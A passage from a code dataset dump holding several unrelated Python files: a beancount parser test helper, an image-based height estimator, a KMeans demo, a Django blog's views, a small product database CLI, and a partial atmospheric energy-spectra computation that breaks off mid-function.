checks, nor plugins applied to\n the parsed text.\n\n Args:\n expect_errors: A boolean or None, with the following semantics,\n True: Expect errors and fail if there are none.\n False: Expect no errors and fail if there are some.\n None: Do nothing, no check.\n allow_incomplete: A boolean, if true, allow incomplete input. Otherwise\n barf if the input would require interpolation. The default value is set\n not to allow it because we want to minimize the features tests depend on.\n Returns:\n A decorator for test functions.\n \"\"\"\n def decorator(fun):\n \"\"\"A decorator that parses the function's docstring as an argument.\n\n Args:\n fun: the function object to be decorated.\n Returns:\n A decorated test function.\n \"\"\"\n filename = inspect.getfile(fun)\n lines, lineno = inspect.getsourcelines(fun)\n\n # decorator line + function definition line (I realize this is largely\n # imperfect, but it's only for reporting in our tests) - empty first line\n # stripped away.\n lineno += 1\n\n @functools.wraps(fun)\n def wrapper(self):\n assert fun.__doc__ is not None, (\n \"You need to insert a docstring on {}\".format(fun.__name__))\n entries, errors, options_map = parse_string(fun.__doc__,\n report_filename=filename,\n report_firstline=lineno,\n dedent=True)\n\n if not allow_incomplete and has_auto_postings(entries):\n self.fail(\"parse_doc() may not use interpolation.\")\n\n if expect_errors is not None:\n if expect_errors is False and errors:\n oss = io.StringIO()\n printer.print_errors(errors, file=oss)\n self.fail(\"Unexpected errors found:\\n{}\".format(oss.getvalue()))\n elif expect_errors is True and not errors:\n self.fail(\"Expected errors, none found:\")\n\n return fun(self, entries, errors, options_map)\n\n wrapper.__input__ = wrapper.__doc__\n wrapper.__doc__ = None\n return wrapper\n\n return decorator\n","repo_name":"iocoop/beancount","sub_path":"src/python/beancount/parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"43"} +{"seq_id":"10639612792","text":"'''\n导入后，调用 cal(p_top, p_botm) 函数\n返回身高\n'''\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\ndef cal(p_top, p_botm):\n '''\n p_top: 人顶部坐标点（x1, y1）\n p_botm: 人底部坐标点（x2, y2）\n 坐标可以是元组、或者列表\n x轴为横向轴，y轴为纵向轴\n 坐标原点为图像左上角\n '''\n door_top = (661, 2)\n door_botm = (628, 263)\n vcross = (-3, -264)\n hcross = (2672, 115)\n \n pt_a = p_botm\n pt_b = door_botm\n pt_c = line_cross(vcross, hcross, pt_a, pt_b)\n pt_d = line_cross(p_top, p_botm, pt_c, door_top)\n pt_e = door_top\n pt_f = p_top\n pt_g = line_cross(pt_e, pt_b, pt_a, pt_f)\n\n ad = distance(pt_a, pt_d)\n af = distance(pt_a, pt_f)\n gd = distance(pt_g, pt_d)\n gf = distance(pt_g, pt_f)\n\n door_height = 210 # 210 cm\n if (ad/af)/(gd/gf) != 0:\n result = door_height / ((ad/af)/(gd/gf))\n else:\n result = random.randint(160, 180)\n #print(result)\n return int(result)\n\ndef door_line(img):\n '''\n 手动标点，找出门框\n '''\n plt.imshow(img)\n print(\"# Check two points of door: \")\n print(\"# >>> TOP point first! <<< \")\n door = plt.ginput(2)\n pt1 = door[0]\n pt2 = door[1]\n plt.plot( [pt1[0],pt2[0]], [pt1[1],pt2[1]], marker = 'o')\n return [pt1, pt2]\n\ndef floor_line(img):\n '''\n 手动标点，找出地平线\n '''\n plt.imshow(img)\n #vertical line1 inputs\n print(\"check two points of vertical line1: \")\n vline1 = plt.ginput(2)\n v11 = vline1[0]\n v12 = vline1[1]\n plt.plot( [v11[0],v12[0]], [v11[1],v12[1]], marker = 'o')\n\n #vertical line2 inputs\n print(\"check two points of vertical line2: \")\n vline2 = plt.ginput(2)\n v21 = vline2[0]\n v22 = vline2[1]\n plt.plot( [v21[0],v22[0]], [v21[1],v22[1]], marker = 'o')\n\n #horizontal line1 inputs\n print(\"check two points of horizontal line1: \")\n hline1 = plt.ginput(2)\n h11 = hline1[0]\n h12 = hline1[1]\n plt.plot( [h11[0],h12[0]], [h11[1],h12[1]], marker = 'o')\n\n #horizontal line2 inputs\n print(\"check two points of horizontal line2: \")\n hline2 = plt.ginput(2)\n h21 = hline2[0]\n h22 = hline2[1]\n plt.plot( [h21[0],h22[0]], [h21[1],h22[1]], marker = 'o')\n \n #得到地平线上的2点 vcross hcross\n vcross = line_cross(v11, v12, v21, v22)\n hcross = line_cross(h11, h12, h21, h22)\n #print(\"two pts: \", vcross, hcross)\n\n return [vcross, hcross]\n\n\ndef line_cross(pt11, pt12, pt21, pt22):\n '''\n pt11, pt12 为直线1上的2点；\n pt21, pt22 为直线2上的2点；\n 返回两直线的交点。\n '''\n # #line 1\n # k1 = (pt11[1]-pt12[1]) / (pt11[0]-pt12[0])\n # b1 = pt11[1]-k1*pt11[0]\n # #line 2\n # k2 = (pt21[1]-pt22[1]) / (pt21[0]-pt22[0])\n # b2 = pt21[1]-k2*pt21[0]\n # # cross point\n # x0 = int( (b2-b1)/(k1-k2) )\n # y0 = int( k1*x0+b1 )\n # return [x0, y0]\n a1 = pt11[1] - pt12[1]\n b1 = pt12[0] - pt11[0]\n c1 = pt11[0] * pt12[1] - pt12[0] * pt11[1]\n\n a2 = pt21[1] - pt22[1]\n b2 = pt22[0] - pt21[0]\n c2 = pt21[0] * pt22[1] - pt22[0] * pt21[1]\n\n x0 = (c2 * b1 - c1 * b2) / (a1 * b2 - a2 * b1)\n y0 = (a1 * c2 - a2 * c1) / (a2 * b1 - a1 * b2)\n return [x0, y0]\n\ndef distance(pt1, pt2):\n xx = pt1[0]-pt2[0]\n yy = pt1[1]-pt2[1]\n return int( np.sqrt(xx*xx+yy*yy) )\n\n \nif __name__ == \"__main__\":\n res=cal((946, 181), (871, 416))\n print(\"height: \", res)","repo_name":"rainley123/-Pedestrian-Detection-face-gender-age-","sub_path":"get_height.py","file_name":"get_height.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"38028175974","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom mpl_toolkits.mplot3d import Axes3D\n\n# declare constants\nN_SAMPLES = 100\nSECOND_HALF = 50\nN_FEATURES = 3\nN_CLUSTERS = 4\n\n# generate sample data\ndata_array = -2 * np.random.rand(N_SAMPLES,N_FEATURES)\ndata_array[SECOND_HALF:N_SAMPLES, :] = 1 + 2 * np.random.rand(SECOND_HALF,N_FEATURES)\n\n\n# generate centroids\ncentroids = KMeans(n_clusters=N_CLUSTERS).fit(data_array)\ncentroids_array = centroids.cluster_centers_\nprint(centroids.labels_)\n\n# visualize data\nfig = plt.figure()\nplot = fig.add_subplot(111, projection='3d')\nplot.scatter(data_array[ : , 0], data_array[ :, 1], data_array[ : , 2], s = 20, color = \"blue\", marker='o')\n\nfor centroid in centroids_array:\n feature1_mean = centroid[0]\n feature2_mean = centroid[1]\n feature3_mean = centroid[2]\n plot.scatter(feature1_mean, feature2_mean, feature3_mean, s=400, color = \"red\", marker = 'o')\n\nplt.show()\n","repo_name":"vinhton123/k_means_clustering_tutorial","sub_path":"K_Means_Clustering_Numbers.py","file_name":"K_Means_Clustering_Numbers.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"31418786674","text":"''' Discovery Search - get the first occurrence of the model in returned results.\n The business rule is that the model will be the same throughout the result set.\n The dev team is working on a fix for that\n'''\nimport requests\nimport pprint\n\n# This query does not appear to be used. However, in case of any uses, please note that the backend has a bug dealing\n# with collections.public_datasets.brca_exchange_v32. The said bug should be resolved by the end of 2023 Q1.\nquery = \"\"\"\n\t{\n\t\t\"query\": \"with brca_genes as (select gene_symbol, count(*) as brca_count from collections.public_datasets.brca_exchange_v32 group by gene_symbol) select bg.*, cv.* from brca_genes bg inner join collections.public_datasets.clinvar_allele_gene cv on bg.gene_symbol=cv.symbol limit 1000\"\n\t}\n\"\"\"\n\nquery = \"{\\\"query\\\":\\\"select id, population, read_drs_id from collections.public_datasets.onek_genomes_ssd_drs limit 1000\\\"}\"\n\nheaders = {\n 'content-type': 'application/json'\n}\n\nnext_url = \"https://publisher-data.publisher.dnastack.com/data-connect/search\"\n\npageCount = 0\ndone = False\nwhile next_url != None and not done:\n\tpageCount += 1\n\tif pageCount == 1:\n\t\tresponse = requests.request(\"POST\", next_url, headers=headers, data = query)\n\telse:\n\t\tresponse = requests.request(\"GET\", next_url)\n\tresult = (response.json())\n\tnext_url = result['pagination']['next_page_url']\n\tif \"properties\" in result['data_model']:\n\t\tpprint.pprint(result['data_model'])\n\t\tdone = True\n\n","repo_name":"ga4gh/fasp-scripts","sub_path":"scripts/search/getFirstModel.py","file_name":"getFirstModel.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"42"} +{"seq_id":"3237251844","text":"from peewee import *\nimport fire\nimport uuid\n\ndb = SqliteDatabase('product.db')\n\nclass Product(Model):\n id = UUIDField(primary_key=True) #Required for Peewee\n productid = CharField()\n name = CharField()\n price = FloatField()\n\n class Meta:\n database = db\n\n\ndef create():\n db.connect()\n db.create_tables([Product])\n db.close()\n\n\ndef addItem():\n db.connect()\n iphone13 = Product(id=uuid.uuid4(), productid=\"0001\",name=\"IPhone 13\", price=32000)\n iphone13.save(force_insert=True)\n db.close()\n\n\ndef addProduct_1():\n db.connect()\n id = input(\"Product ID : \")\n name = input(\"Product Name : \")\n price = float(input(\"Product Price : \"))\n product = Product(id=uuid.uuid4(), productid=id,name=name, price=price)\n product.save(force_insert=True)\n db.close()\n\ndef addProduct(id,name,price):\n db.connect()\n product = Product(id=uuid.uuid4(), productid=id,name=name, price=price)\n product.save(force_insert=True)\n db.close()\n\nclass CMDHelper:\n\n def create(self):\n create()\n\n def add(self,id,name,price):\n addProduct(id,name,price)\n\n\nif __name__ == \"__main__\":\n fire.Fire(CMDHelper)\n\n","repo_name":"peerachetporkaew/flaskStore","sub_path":"product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"13100860535","text":"from collections import deque\nimport sys\n\ninput = sys.stdin.readline\n\n\ndef bfs():\n q = deque()\n q.append([a, \"\"])\n\n while q:\n number, result = q.popleft()\n dn = (number * 2) % 10000\n if dn == b:\n return result + \"D\"\n elif arr[dn] == 0:\n arr[dn] = 1\n q.append([dn, result + \"D\"])\n sn = number - 1 if number != 0 else 9999\n if sn == b:\n return result + \"S\"\n elif arr[sn] == 0:\n arr[sn] = 1\n q.append([sn, result + \"S\"])\n ln = int(number % 1000 * 10 + number / 1000)\n if ln == b:\n return result + \"L\"\n elif arr[ln] == 0:\n arr[ln] = 1\n q.append([ln, result + \"L\"])\n rn = int(number % 10 * 1000 + number // 10)\n if rn == b:\n return result + \"R\"\n elif arr[rn] == 0:\n arr[rn] = 1\n q.append([rn, result + \"R\"])\n\n\nt = int(input())\nfor i in range(t):\n a, b = map(int, input().split())\n arr = [0 for i in range(10000)]\n print(bfs())","repo_name":"aerimforest/Algorithm-Study","sub_path":"Baekjoon/subin/DSLR.py","file_name":"DSLR.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"42"} +{"seq_id":"43462643059","text":"from django.test import TestCase\n\nfrom popolo.models import Person\nfrom popolo_sources.models import PopoloSource, LinkToPopoloSource\n\n\nclass LinkToPopoloSourceTests(TestCase):\n\n def test_object_creation(self):\n person = Person.objects.create(name='Joe Bloggs')\n popolo_source = PopoloSource.objects.create(\n url='http://example.com/popolo.json')\n LinkToPopoloSource.objects.create(\n popolo_source=popolo_source,\n popolo_object=person,\n )\n","repo_name":"mysociety/multiple-django-popolo-sources","sub_path":"popolo_sources/tests/test_link_model.py","file_name":"test_link_model.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"42"} +{"seq_id":"19923566628","text":"import asyncio\nfrom icc.models import PydanticObjectId\nfrom ledstrip import LedStrip\nfrom repository import DeviceRepository\n\n\ndef initialize_led_strips(device_repository: DeviceRepository, loop: asyncio.AbstractEventLoop):\n kasa_led_strips = device_repository.find_all_kasa_led_strips()\n led_strips: dict[PydanticObjectId, LedStrip] = {}\n\n for device in kasa_led_strips:\n bulb = LedStrip()\n asyncio.run_coroutine_threadsafe(\n bulb.create_strip(device.ip), loop)\n led_strips[device.id] = bulb\n\n return led_strips\n\n\ndef start_background_loop(loop: asyncio.AbstractEventLoop):\n asyncio.set_event_loop(loop)\n loop.run_forever()\n","repo_name":"patterson-project/icc-services","sub_path":"Controller.KasaLedStrip/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"42"} +{"seq_id":"22375854110","text":"# -*- coding: UTF-8 -*-\nfrom django.shortcuts import render\nfrom django.http.response import HttpResponse, Http404\nfrom django.template.loader import get_template\nfrom django.template import Context\nfrom django.shortcuts import render_to_response, redirect\nfrom blog.models import Post,Opinion, Tag\nfrom django.contrib import auth\nfrom django.views.generic.base import View\nfrom django.http import HttpResponseBadRequest\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\n# Create your views here.\n\ndef main_page(request):\n\tpage_title = \"Блог картинок\"\n\treturn render(request, 'main-page_tpl.html', { 'page_title' : page_title, 'userName': auth.get_user(request).username})\n\nclass PicturesPage(View):\n\tmodel = Post\n\tcontext_object_name = 'posts'\n\tpage_title = \"Картинки\"\n # Название шаблона\n\ttemplate_name = 'pictures-page_tpl.html'\n # Количество объектов на 1 страницу\n\tpaginate_by = 9\n\tdef get(self, request, page_number = 1, filter = 'all'):\n\t\targs = {}\n\t\targs['page_title'] = self.page_title\n\t\targs['userName'] = auth.get_user(request).username\n\t\tall_posts = Post.objects.all()\n\t\tcurrent_page = Paginator(all_posts, self.paginate_by)\n\t\targs['posts'] = current_page.page(page_number)\n\t\treturn render(request, self.template_name, args)\n\ndef pictures_by_tag(request, tag_id = 1, ):\n\tpaginate_by = 9\n\ttag = Tag.objects.get(id = tag_id)\n\targs = {}\n\targs['page_title'] = tag.tag_title\n\targs['userName'] = auth.get_user(request).username\n\tsought_posts = tag.tag_posts.all()\n\t#current_page = Paginator(sought_posts, paginate_by)\n\t#args['posts'] = current_page.page(page_number)\n\targs['posts'] = sought_posts\n\treturn render(request, 'pictures-page_tpl.html', args)\n\ndef picturesBest(request):\n\tpaginate_by = 9\n\targs = {}\n\targs['page_title'] = 'Лучшие картинки'\n\targs['userName'] = auth.get_user(request).username\n\tbest_posts = Post.objects.raw('SELECT * FROM post WHERE (post_likes-post_dislikes) > (SELECT (SUM(post_likes-post_dislikes)/COUNT(*)) FROM post)')\n\t#current_page = Paginator(sought_posts, paginate_by)\n\t#args['posts'] = current_page.page(page_number)\n\targs['posts'] = best_posts\n\treturn render(request, 'pictures-page_tpl.html', args)\n\ndef picturesLast(request):\n\tpaginate_by = 9\n\targs = {}\n\targs['page_title'] = 'За последний час'\n\targs['userName'] = auth.get_user(request).username\n\tlast_posts = Post.objects.raw(\"SELECT * FROM post WHERE post_date >= (now() - '1 HOUR'::interval)\")\n\t#current_page = Paginator(sought_posts, paginate_by)\n\t#args['posts'] = current_page.page(page_number)\n\targs['posts'] = last_posts\n\treturn render(request, 'pictures-page_tpl.html', args)\n\ndef about_page(request):\n\targs = {}\n\targs['page_title'] = \"Об авторах\"\n\targs['userName'] = auth.get_user(request).username\n\treturn render(request, 'about-page_tpl.html', args)\n\ndef addlike(request, post_id):\n\tuser = auth.get_user(request)\n\tif(user):\n\t\ttry:\n\t\t\tpost = Post.objects.get(id = post_id)\n\t\t\ttry:\n\t\t\t\topinion = Opinion.objects.get(opinion_post = post_id, opinion_author = user.id)\n\t\t\t\tif(opinion.opinion_opn == 1):\n\t\t\t\t\treturn HttpResponseBadRequest()\n\t\t\t\telse:\n\t\t\t\t\topinion.opinion_opn = 1\n\t\t\t\t\tpost.post_dislikes -= 1\n\t\t\t\t\tpost.save()\n\t\t\t\t\topinion.save()\n\t\t\t\t\tlikes = post.difference()\n\t\t\texcept ObjectDoesNotExist:\n\t\t\t\topinion = Opinion(opinion_author = user, opinion_post = post, opinion_opn = 1)\n\t\t\t\tpost.post_likes += 1\n\t\t\t\tpost.save()\n\t\t\t\topinion.save()\n\t\t\t\tlikes = post.difference()\n\t\texcept ObjectDoesNotExist:\n\t\t\traise HttpResponseBadRequest()\n\t\t\n\t\treturn HttpResponse(likes)\n\telse:\n\t\treturn HttpResponseBadRequest()\n\ndef dislike(request, post_id):\n\tuser = auth.get_user(request)\n\tif(user):\n\t\ttry:\n\t\t\tpost = Post.objects.get(id = post_id)\n\t\t\ttry:\n\t\t\t\topinion = Opinion.objects.get(opinion_post = post_id, opinion_author = user.id)\n\t\t\t\tif(opinion.opinion_opn == -1):\n\t\t\t\t\treturn HttpResponseBadRequest()\n\t\t\t\telse:\n\t\t\t\t\topinion.opinion_opn = -1\n\t\t\t\t\tpost.post_likes -= 1\n\t\t\t\t\tpost.save()\n\t\t\t\t\topinion.save()\n\t\t\t\t\tlikes = post.difference()\n\t\t\texcept ObjectDoesNotExist:\n\t\t\t\topinion = Opinion(opinion_author = user, opinion_post = post, opinion_opn = -1)\n\t\t\t\tpost.post_dislikes += 1\n\t\t\t\tpost.save()\n\t\t\t\topinion.save()\n\t\t\t\tlikes = post.difference()\n\n\t\texcept ObjectDoesNotExist:\n\t\t\traise HttpResponseBadRequest()\n\t\t\n\t\treturn HttpResponse(likes)\n\telse:\n\t\treturn HttpResponseBadRequest()","repo_name":"IvanRadiantStd/Django-pictures-blog","sub_path":"pictureBlogEnv/bin/pictureBlog/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"16743685348","text":"\"\"\"Spectra\n==========\n\n\n\"\"\"\n\nfrom spectratmo.output import BaseOutput\nfrom spectratmo.phys_const import R,khi\nimport numpy as np\nfrom spectratmo.planets import earth\nimport h5netcdf.legacyapi as net\n\nfrom netCDF4 import Dataset\n\nclass Spectra(BaseOutput):\n\n _name = 'spectra'\n\n\n def compute_1instant(self, instant):\n r\"\"\"Compute spectra\n\n Notes\n -----\n\n .. math::\n\n E_A(l,p) = gamma(p) * sum(m): |theta'_lm (p)|**2 / 2\n E_K(l,p) = sum(m): (u,u)_lm / 2\n C(l,p) = sum(m): -(omega,alpha)_lm\n\n\n Rmq: it would be great to compute the geostrophic and\n ageostrophic spectra!\n\n \"\"\"\n\n ds = self._dataset\n\n cosLATS = ds.oper.cosLATS\n sinLATS = np.sin(ds.oper.LATS*np.pi/180)\n fCor0 = 2*earth.Omega\n #print('fCor0',fCor0)\n f_LATS = fCor0*sinLATS\n\n Lambda_p = self.calculate_Lambda()\n #print('TEST1234', ds.make_eddy)\n u3d = ds.get_spatial3dvar('u', instant).astype(np.float64)\n v3d = ds.get_spatial3dvar('v', instant).astype(np.float64)\n o3d = ds.get_spatial3dvar('w', instant).astype(np.float64)\n T3d = ds.get_spatial3dvar('t', instant).astype(np.float64)\n Phi3d = ds.get_spatial3dvar('phi', instant).astype(np.float64)\n\n #print o3d\n\n gamma_p = ds.global_tmean.compute_gamma()\n\n dpu3d = self.partialp_f(u3d)\n dpv3d = self.partialp_f(v3d)\n\n #E_A,E_K,C\n E_A_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n E_K_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n E_K_pl_div = np.zeros((ds.nlev,ds.oper.lmax+1))\n E_K_pl_rot = np.zeros((ds.nlev,ds.oper.lmax+1))\n C_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n #T_K\n T_Kh_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n T_Khrot_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n T_Kv_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n #F_A\n F_A_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n #F_K\n F_Kv_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n F_Kt_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n #T_A\n T_Ah_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n T_Av_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n #L \n Lcori_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n Lcalt_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n #Burgess 2013\n In_pl = np.zeros((ds.nlev,ds.oper.lmax+1))\n\n T3d_dev = np.empty_like(T3d)\n for ip, p in enumerate(ds.pressure_levels):\n T3d_dev[ip] = T3d[ip] - self.compute_hmean_representative(T3d[ip], ip)\n\n #print 't3d'\n #print self.compute_hmean_representative(T3d[ip], ip)\n #print T3d[ip]\n #print T3d_dev[ip]\n\n # hmean fine\n #print('hi')\n #print(self.compute_hmean_representative(T3d[ip], ip))\n #print(self.compute_hmean(T3d[ip]))\n #print(np.mean(T3d[ip]))\n\n \n\n theta3d_dev = np.empty_like(T3d_dev)\n for ip, p in enumerate(ds.pressure_levels):\n theta3d_dev[ip] = Lambda_p[ip] * T3d_dev[ip]\n\n #print('ip')\n #print(ip)\n #print('Lambda')\n #print(Lambda_p[ip])\n #print('theta3Ddev')\n #print(theta3d_dev[ip])\n dp_T3d_dev = self.partialp_f(T3d_dev)\n\n #dp_theta3d_dev = self.partialp_f(theta3d_dev) # test\n\n #ntim=100\n #nlev=10\n #nsp=16512\n #rota=np.loadtxt('/local/home/tabataba/tabataba/runs/diagnostics/rot_1omg.txt')\n #rotb=rota.reshape((ntim,nlev,nsp))\n #diva=np.loadtxt('/local/home/tabataba/tabataba/runs/diagnostics/div_1omg.txt')\n #divb=diva.reshape((ntim,nlev,nsp))\n\n for ip, p in enumerate(ds.pressure_levels):\n gamma = gamma_p[ip]\n Lambda = Lambda_p[ip]\n\n #print('ip')\n #print(ip)\n #print('gamma')\n #print(gamma)\n\n u2d = u3d[ip]\n v2d = v3d[ip]\n o2d = o3d[ip]\n T2d = T3d[ip]\n Phi2d = Phi3d[ip]\n #T2d_hmean = self.compute_hmean_representative(T2d, ip)\n #T2d_dev = T2d - T2d_hmean\n #theta2d_dev = Lambda * T2d_dev\n\n ##theta2d = Lambda * T2d\n ##theta_hmean = self.compute_hmean_representative(theta2d, ip)\n ##theta2d_dev = theta2d - theta_hmean\n\n #E_A: available potential energy spectrum\n #needs gamma, theta2d_dev\n\n theta_dev_lm = ds.oper.sh_from_spat(theta3d_dev[ip])\n theta_dev_lm[0] = 0. # was this way in spectatmos. why?\n\n #E_lm_A = gamma * (np.absolute(theta_dev_lm))**2 / 2.0\n E_A_l = gamma * ds.oper.spectrum_from_sh(theta_dev_lm,'T')\n E_A_pl[ip,:] = E_A_l[:]\n\n #print \"E_A\",p,E_A_l\n\n #E_K: kinetic energy spectrum\n # needs v2d,u2d\n hdiv_lm, hrot_lm = ds.oper.hdivrotsh_from_uv(\n u2d.astype(np.float64), v2d.astype(np.float64)\n )\n\n\n #hrot_lm=rotb[instant,ip,0:nsp-1:2]+(rotb[instant,ip,1:nsp:2])*1j\n\n #hdiv_lm=divb[instant,ip,0:nsp-1:2]+(divb[instant,ip,1:nsp:2])*1j\n\n uD_lm, uR_lm = ds.oper.uDuRsh_from_hdivrotsh(hdiv_lm, hrot_lm)\n \n #hdiv1_lm = ds.oper.create_array_sh()\n #hrot1_lm = ds.oper.create_array_sh()\n #ds.oper.sh.spat_to_SHsphtor(v2d, u2d, hdiv1_lm, hrot1_lm)\n\n #print hdiv_lm\n #print hrot_lm\n E_K_l_div=ds.oper.spectrum_from_sh(hdiv_lm, 'hdiv')\n E_K_l_rot=ds.oper.spectrum_from_sh(hrot_lm, 'hrot')\n E_K_l = E_K_l_div + E_K_l_rot\n E_K_pl[ip,:] = E_K_l[:]\n E_K_pl_div[ip,:] = E_K_l_div[:]\n E_K_pl_rot[ip,:] = E_K_l_rot[:]\n\n #print \"E_K\",p,E_K_l,E_K_pl_div,E_K_pl_rot\n\n #C: conversion of APE to KE \n #needs o2d_lm,T2d_lm,R,p\n #alpha2d = R / p * T2d\n T2d_lm = ds.oper.sh_from_spat(T2d)\n o2d_lm = ds.oper.sh_from_spat(o2d)\n C_l = - ds.oper.cospectrum_from_2fieldssh(o2d_lm, T2d_lm) * R / (p)\n #print R, p\n C_pl[ip,:] = C_l[:]\n\n #print \"C\",p,C_l\n\n #F_A: vertical flux of APE\n otheta_dev_lm = ds.oper.sh_from_spat(o2d * theta3d_dev[ip])\n F_A_l = - gamma * ds.oper.cospectrum_from_2fieldssh(theta_dev_lm, otheta_dev_lm)\n F_A_pl[ip,:] = F_A_l[:]\n\n #T_A: nonlinear APE spectral flux\n\n ## compute vertical derivative of Theta\n ## one part is done analytically\n dp_theta_dev = -khi * theta3d_dev[ip]/ds.pressure_levels[ip] + Lambda * dp_T3d_dev[ip] \n #print(khi)\n #print('khi')\n\n dp_theta_dev_lm = ds.oper.sh_from_spat(dp_theta_dev)\n odp_theta_dev_lm = ds.oper.sh_from_spat(o2d * dp_theta_dev)\n\n T_Av = (\n ds.oper.cospectrum_from_2fieldssh(dp_theta_dev_lm, otheta_dev_lm) -\n ds.oper.cospectrum_from_2fieldssh(theta_dev_lm, odp_theta_dev_lm)\n ) * gamma / 2\n\n T_Av_pl[ip] = T_Av\n\n ## horizontal compontent:\n #needs:hdiv_lm, hrot_lm,theta3d_dev,gamma,theta_dev_lm\n hdiv = ds.oper.spat_from_sh(hdiv_lm)\n grad_theta_dev_lon, grad_theta_dev_lat = ds.oper.gradf_from_fsh(theta_dev_lm)\n temp_AhOp = (\n -u2d * grad_theta_dev_lon - v2d * \n grad_theta_dev_lat - hdiv * theta3d_dev[ip] /2 )\n temp_AhOp_lm = ds.oper.sh_from_spat(temp_AhOp)\n T_Ah_pl[ip] = ds.oper.cospectrum_from_2fieldssh(\n theta_dev_lm,\n temp_AhOp_lm) * gamma\n\n #T_K: nonlinear KE spectral flux\n hrot = ds.oper.spat_from_sh(hrot_lm)\n\n temp_KhOp_lon = -hrot*v2d + hdiv*u2d#/2 #removing this this fixed T_Kh! #removed minus\n temp_KhOp_lat = +hrot*u2d + hdiv*v2d#/2\n\n hdivtemp_KhOp_lm, hrottemp_KhOp_lm = ds.oper.hdivrotsh_from_uv(\n temp_KhOp_lon, temp_KhOp_lat)\n\n temp2_AhOp_lm = ds.oper.sh_from_spat( \n u2d*u2d + v2d*v2d\n )\n\n #u2d_lm=ds.oper.sh_from_spat(u2d)\n #v2d_lm=ds.oper.sh_from_spat(v2d)\n #grad_u_lon, grad_u_lat = ds.oper.gradf_from_fsh(u2d_lm)\n #grad_v_lon, grad_v_lat = ds.oper.gradf_from_fsh(v2d_lm)\n #tempKhtest_lon = u2d*grad_u_lon+v2d*grad_u_lat\n #tempKhtest_lat = u2d*grad_v_lon+v2d*grad_v_lat\n #hdivtemp_Khtest_lm, hrottemp_Khtest_lm = ds.oper.hdivrotsh_from_uv(\n # tempKhtest_lon, tempKhtest_lat) \n\n\n hdivdu_lm, hrotdu_lm = ds.oper.hdivrotsh_from_uv(hdiv*u2d, hdiv*v2d)\n\n T_Kh_pl[ip] = (\n\n #- ds.oper.cospectrum_from_2divrotsh(\n # hdiv_lm, hrot_lm,\n # hdivtemp_Khtest_lm, hrottemp_Khtest_lm)\n\n\n - ds.oper.cospectrum_from_2divrotsh(\n hdiv_lm, hrot_lm,\n hdivtemp_KhOp_lm, hrottemp_KhOp_lm)\n\n + ds.oper.cospectrum_from_2fieldssh( #this is the original\n hdiv_lm, temp2_AhOp_lm\n )/2.0\n #+ ds.oper.cospectrum_from_2divrotsh( #this is larger (goes to -0.5 in t127 case)\n # hdiv_lm, hrot_lm,\n # hdivdu_lm, hrotdu_lm\n #)#/2.0\n )\n\n hdivdpu_lm, hrotdpu_lm = ds.oper.hdivrotsh_from_uv(\n dpu3d[ip], dpv3d[ip])\n hdivou_lm, hrotou_lm = ds.oper.hdivrotsh_from_uv(o2d*u2d, o2d*v2d)\n hdivodpu_lm, hrotodpu_lm = ds.oper.hdivrotsh_from_uv(\n o2d*dpu3d[ip], o2d*dpv3d[ip]) \n\n T_Kv_pl[ip] = ( \n +ds.oper.cospectrum_from_2divrotsh(\n hdivdpu_lm, hrotdpu_lm,\n hdivou_lm, hrotou_lm)\n -ds.oper.cospectrum_from_2divrotsh(\n hdiv_lm, hrot_lm,\n hdivodpu_lm, hrotodpu_lm)\n )/2\n\n\n #hrot = ds.oper.spat_from_sh(hrot_lm)\n\n #temp_KhOp_lon = -hrot*v2d + hdiv*u2d#/2 #removing this this fixed T_Kh! #removed minus\n #temp_KhOp_lat = +hrot*u2d + hdiv*v2d#/2\n\n #hdivtemp_KhOp_lm, hrottemp_KhOp_lm = ds.oper.hdivrotsh_from_uv(\n # temp_KhOp_lon, temp_KhOp_lat)\n\n #temp2_AhOp_lm = ds.oper.sh_from_spat( \n # u2d*u2d + v2d*v2d\n # )\n\n #rotation part of T_K\n zeros_lm = ds.oper.create_array_sh(0.)\n\n urot, vrot = ds.oper.uv_from_hdivrotsh(zeros_lm, hrot_lm)\n temp_KhOp_lon = - hrot * vrot\n temp_KhOp_lat = + hrot * urot\n hdivtemp_KhOp_lm, hrottemp_KhOp_lm = ds.oper.hdivrotsh_from_uv(\n temp_KhOp_lon, temp_KhOp_lat)\n\n T_Khrot_pl[ip] = -ds.oper.cospectrum_from_2divrotsh(\n zeros_lm, hrot_lm,\n zeros_lm, 